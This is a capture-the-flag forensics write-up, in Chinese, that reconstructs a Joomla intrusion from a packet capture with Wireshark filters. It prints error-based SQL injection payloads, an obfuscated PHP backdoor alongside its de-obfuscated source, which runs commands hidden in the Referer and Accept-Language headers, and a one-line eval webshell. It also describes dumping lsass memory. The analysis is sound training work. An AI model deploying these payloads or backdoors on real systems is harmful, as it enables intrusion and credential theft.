2018信息安全鐵人三項第三賽區數據賽題解
題目鏈接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密碼: nux4 題目描述 1.黑客攻擊的第一個受害主機的網卡IP地址 2.黑客對URL的哪一個參數實施了SQL註入 3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_) 4.第一個受害主機網站數據庫的名字 5.Joomla後臺管理員的密碼是多少 6.黑客第一次獲得的php木馬的密碼是什麽 7.黑客第二次上傳php木馬是什麽時間 8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據 9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) 10.php代理第一次被使用時最先連接了哪個IP地址11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什麽時候 12.黑客在內網主機中添加的用戶名和密碼是多少 13.黑客從內網服務器中下載下來的文件名
1.黑客攻擊的第一個受害主機的網卡IP地址
2.黑客對URL的哪一個參數實施了SQL註入
過濾http包可以看出,攻擊者ip 202.1.1.2 服務器ip 192.168.1.8
並對list[select]參數進行註入,看著時間順序,很明顯是自動化註入,手註的時間間隔沒有這麽短呀。
3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_)
從前幾個註入的返回包來看,數據庫前綴是ajtuc_
4.第一個受害主機網站數據庫的名字
找到最後一個註入,查看返回包,所以第一個受害主機數據庫名joomla.ajtuc_users
百度得知Joomla!是一套內容管理系統。 使用PHP語言加上MySQL數據庫所開發的軟件系統,可以在Linux、 Windows、MacOSX等各種不同的平臺上執行。
5.Joomla後臺管理員的密碼是多少
密碼的提交一般都是post方式,
ip.addr ==192.168.1.8 && http contains "password" && http.request.method == POST
但看其他表哥說,密碼並不是這個
或者通過查看註入包來找到對應的密碼hash後,解密得到。。。
ip.addr == 192.168.1.8 && http contains "password"
三條信息分別回顯
Status: 500 XPATH syntax error: ‘qqzvq$2y$10$lXujU7XaUviJDigqqkkq‘ SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date` Status: 500 XPATH syntax error: ‘qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq‘ SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date` Status: 500 XPATH syntax error: ‘qqzvqzi/8B2QRD7qIlDJeqqkkq‘ SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
可以看到數據
qqzvq$2y$10$lXujU7XaUviJDigqqkkq qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq qqzvqzi/8B2QRD7qIlDJeqqkkq
我們觀察sql構造,發現具有前綴和後綴
0x71717a7671 0x71716b6b71
解碼後得到
qqzvq
qqkkq
我們去掉前綴和後綴,可以得到
$2y$10$lXujU7XaUviJDig FMzKy6.wx7EMCBqpzrJdn7 zi/8B2QRD7qIlDJe
於是我們可以得到完整的加密密碼
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe 後面解碼部分就卡住咯
6.黑客第一次獲得的php木馬的密碼是什麽
上傳的話 ip.addr ==192.168.1.8 && http
發現有一個kkkaaa.php 估計就是上傳的馬兒了
數據包二
ip.addr ==192.168.1.8 && http contains "kkkaaa.php"
發現base64,估計用的菜刀連的小馬,所以第一個上傳的馬兒的密碼是zzz
7.黑客第二次上傳php木馬是什麽時間
查看kkkaaa.php相關的流量
z2的值很明顯是hex類型,復制到winhex後,發現對應的Unicode是一段混淆後的php
<?php $p=‘l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5‘; $d=‘]q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>‘; $W=‘),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base‘; $e=‘]T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>‘; $E=‘>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}‘; $t=‘($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>‘; $M=‘]$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto‘; $P=‘]f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>‘; $j=str_replace(‘fr‘,‘‘,‘cfrrfreatfrfre_funcfrtfrion‘); $k=‘];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>‘; $g=‘"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>‘; $R=‘$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=‘; $Q=‘]s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>‘; $v=‘]mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]‘; $x=str_replace(‘>]‘,‘‘,$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E); $N=$j(‘‘,$x);$N(); ?>
反混淆的地方卡住了,,,,
反混淆後
<?php function x($t, $k) { $c = strlen($k); $l = strlen($t); $o = ""; for ($i = 0; $i < $l;) { for ($j = 0; $j < $c && $i < $l; $j++, $i++) { $o .= $t[$i] ^ $k[$j]; } } return $o; } $rr = @$_SERVER["HTTP_REFERER"]; $ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; if ($rr && $ra) { $u = parse_url($rr); parse_str($u["query"], $q); $q = array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m); if ($q && $m) { @session_start(); $s =& $_SESSION; $i = $m[1][0] . $m[1][1]; $h = strtolower(substr(md5($i . "cb42"), 0, 3)); $f = strtolower(substr(md5($i . "e130"), 0, 3)); $p = ""; for ($z = 1; $z < count($m[1]); $z++) { $p .= $q[$m[2][$z]]; } if (strpos($p, $h) === 0) { $s[$i] = ""; $p = substr($p, 3); } if (array_key_exists($i, $s)) { $s[$i] .= $p; $e = strpos($s[$i], $f); if ($e) { $k = "cb42e130"; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130"))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), "cb42e130")); print "<{$k}>{$d}</{$k}>"; @session_destroy(); } } } }
所以這是第二個php木馬,上傳時間 17:20:44.248365000
8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據
從第二個木馬中可以看到
$rr = @$_SERVER["HTTP_REFERER"]; $ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
所以是通過HTTP_REFERER,HTTP_ACCEPT_LANGUAGE來傳遞的數據
從z1 參數 b64decode 後,可以看到上傳路徑/var/www/html/joomla/tmp/footer.php
so,第二個木馬的名稱為footer.php
9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
這裏應該是黑客拿下服務器192.168.1.8後,利用該機內網滲透
所以 ip.addr ==192.168.1.8 && mysql
一直到第四個數據包才找到和mysql相關的數據
admin/1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
10.php代理第一次被使用時最先連接了哪個IP地址
代理第一次被使用時最先連接了IP 4.2.2.2
11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什麽時候
獲取當前目錄肯定得有ls或者dir
so
ip.addr==192.168.1.8 && (http contains "ls" ||http contains "dir")
一直到第九個包才才找到。。
‘;
黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在18:36:59
可以看到內網中的另外一臺主機為192.168.2.20
12.黑客在內網主機中添加的用戶名和密碼是多少
內網主機的ip為 192.168.2.20
所以ip.addr ==192.168.2.20 &&http
黑客通過1.8服務器作為跳板,在2.20機器上寫下內容為<?php eavl($_POST[123]);?> 的sh.php
可看出2.20為windows機器
菜刀的請求包太多,一個個的decode太麻煩,,可以查看返回包來判斷啥時候在2.20機器上添加的user
18:49:27還沒有kaka用戶,等到18:50:42就出現了kaka用戶,所以說應該是在這兩個時間點之間添加的用戶
所以黑客在內網主機中添加的用戶名和密碼是kaka/kaka
12黑客從內網服務器中下載下來的文件名
既然是下載,應該是利用中國菜刀進行下載了,那我們只過濾出post流量,查看命令即可
ip.dst == 192.168.2.20 && http.request.method==POST
so,下載的文件為 lsass.exe_180208_185247.dmp
//copy z1,z2的value時,用快捷鍵(Ctrl+shfit+v)比較方便
2018信息安全鐵人三項第三賽區數據賽題解